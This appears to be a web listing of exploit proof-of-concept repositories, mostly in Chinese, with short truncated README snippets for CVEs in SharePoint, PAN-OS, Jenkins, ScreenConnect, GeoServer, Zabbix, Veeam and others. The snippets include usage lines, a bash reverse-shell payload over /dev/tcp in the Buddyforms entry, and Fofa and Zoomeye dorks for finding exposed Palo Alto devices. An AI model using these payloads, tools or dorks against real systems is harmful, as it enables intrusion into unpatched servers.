MS-SharePoint-July-Patch-RCE-PoC

MS-SharePoint-July-Patch-RCE-PoC 针对以下漏洞的 PoC： CVE-2024-38094 CVE-2024-38024 CVE-2024-38023 PoC 视频： https://youtu.be/u8mccaakISw...

CVE-2024-0012-POC

这是一个实际的POC，受 https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/ 启发。 使用方法如 - python3 cve-2024-0012-pan-os-poc.py --url "https://target-system" --no-verify --no-verify 如果SSL不工作或证书已过期则使用，否则不要使用此标签。 谢谢！ Chirag Artani...

CVE-2024-12641_12642_12645

CVE-2024-12641 CVE-2024-12642 CVE-2024-12645 CVE-2024-12641 演示 CVE-2024-12642 演示...

palo-alto-panos-cve-2024-0012

CVE-2024-0012 and CVE-2024-9474 Authentication Bypass in the Management Web Interface PAN-SA-2024-0015 and Authenticated Command Injection in Palo Alto PAN-OS See our blog post for technical details Affected Versions root@kitploit: TBD Exploit authors This exploit was written by Sonny of watchTow...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' 最初，CVE-2023–26326 需要借助 gadget 链才能作为反序列化漏洞加以利用。这种方法在运行 PHP 8+ 的新版 WordPress 站点上已不再可行；不过，通过与 CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 进行链式利用，可以改用 php://filter 而不是 phar:// 来实现漏洞利用。...

CVE-2024-26218

此存储库没有 README。...

CVE-2024-23897

CVE-2024-23897 | Jenkins -p -f 或 root@kitploit: python CVE-2024-23897.py -i -f 参数： -t 或 --target: 指定目标IP。支持单一IP、IP范围、逗号分隔列表或CIDR块。...

ScreenConnect-AuthBypass-RCE

如何使用 我正在使用 Python3.9 root@kitploit: pip install requests python check.py python batchAdduser.py root@kitploit: python ScreenConnect-AuthBypass-RCE.py -h usage: ScreenConnect-AuthBypass-RCE.py -h -u USERNAME -p PASSWORD -t TARGET -d DOMAIN --proxy PROXY CVE-2024-1708 && CVE-2024-1709 -- RCE!!!...

CVE-2024-40431-CVE-2022-25479-EOP-CHAIN

CVE-2024-40431+CVE-2022-25479 cadena para EOPDATA ONLY ATTACK Un sabio dijo una vez "that rent is too damn high" y "give credit where credit is due", un agradecimiento a https://x.com/zwclose por encontrar y publicar un PoC para estos 2 bugs. Nosotrosreubensammut y Vladdespués de preguntarle...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE 替代方案：反向Shell与回调测试 概述 本仓库提供了针对 InvokeAI RCE 漏洞（CVE-2024-12029）的替代负载方法，适用于 SSH 密钥注入失败的情况。这些负载旨在测试 Pickle 反序列化是否实际发生，并提供替代的访问方法。 问题陈述 当 SSH 密钥注入负载成功投递（状态 201），但 SSH 访问仍需密码时，表明以下情况之一： 1. Pickle 反序列化未发生 2. 命令被阻止/沙箱化 3. 执行方法不兼容 解决方案：替代负载 📁...

CVE-2024-38063-poc

Real POC 已发布 https://github.com/ynwarcs/CVE-2024-38063，我也已在代码中更新。这可能导致系统崩溃，请使用虚拟机或仅用于学习，你也可以通过修改代码实现 RCE。 使用说明 iface 很可能默认已启用。 查看 CVE-2024-38063-poc.py 获取更多信息。 发现者 https://x.com/XiaoWei 代码/POC 功劳 = @ynwarcs 谢谢！ Chirag Artani...

GeoServerExploit

GeoServerExploit 一款针对 GeoServer（CVE-2024-36401/CVE-2024-36404）的漏洞利用工具 本项目由 @hony、@wh!te?be6ar 共同开发。如果觉得这个项目对你有帮助，请别忘了点个 🌟Star 支持一下，谢谢。 使用示例 致谢 感谢 @Oasis。 的建议和帮助。 反馈...

CVE-2024-29849

CVE-2024-29849 Veeam Backup Enterprise Manager 身份验证绕过 CVE-2024-29849 由 Sina Kheirkhah @SinSinology SummoningTeam @SummoningTeam 发现 技术分析 关于该漏洞的根因分析可在我的博客中找到 摘要 支持的版本？ 根据 Veeam 官方公告，所有早于 Veeam Backup Enterprise Manager 12.1.2.172 的版本均受影响 使用方法 首先，您需要为本地 HTTPS 环境进行正确配置，请使用以下命令： root@kitploit: openssl...

cve-2024-42327

cve-2024-42327 usage: cve-2024-42327.py -h -u URL -n USERNAME -p PASSWORD --example cve-2024-42327.py: error: the following arguments are required: -u/--url, -n/--username, -p/--password...

CVE-2024-21338_PoC

CVE-2024-21338 的漏洞利用 PoC...

CVE-2024-36877

CVE-2024-36877 CVE-2024-36877 的漏洞利用 POC 详细的技术分析可在我的博客中找到 - https://jjensn.com/at-home-in-your-firmware https://github.com/user-attachments/assets/71f30cda-61e3-49ea-b856-959746349f2d...

CVE-2024-21345

此存储库没有 README。...

CVE-2024-46987

CVE-2024-46987 — Camaleon CMS 任意路径遍历 仅限授权的安全评估、渗透测试和教育研究使用。 概述...

CVE-2024-3400-RCE-Scan

Dork de Mapeo del Ciberespacio Fofa root@kitploit: app="paloalto-GlobalProtect" https://en.fofa.info/result?qbase64=YXBwPSJwYWxvYWx0by1HbG9iYWxQcm90ZWN0Ig%3D%3D Zoomeye root@kitploit: app:"Palo Alto Networks firewall httpd"...

CVE-2024-6387-Vulnerability-Checker

CVE-2024-6387 漏洞检查器 概述 此 Python 脚本旨在检查 SSH 服务器是否存在 CVE-2024-6387 漏洞，专门针对最近发现的 regreSSHion 漏洞，该漏洞与特定版本的 OpenSSH 相关。该工具支持多个 IP 地址、URL、CIDR 范围和端口，并且可以从文件中读取地址。结果以分类和颜色编码的方式显示，以提高可读性。 功能特性 可定制 ：指定多个 IP 地址、URL、CIDR 范围和端口。 支持文件输入 ：从文件中读取地址和范围。 颜色编码输出 ：轻松区分易受攻击、安全、未知和错误结果。 网络范围处理 ：自动将 CIDR 范围扩展为单个 IP 地址...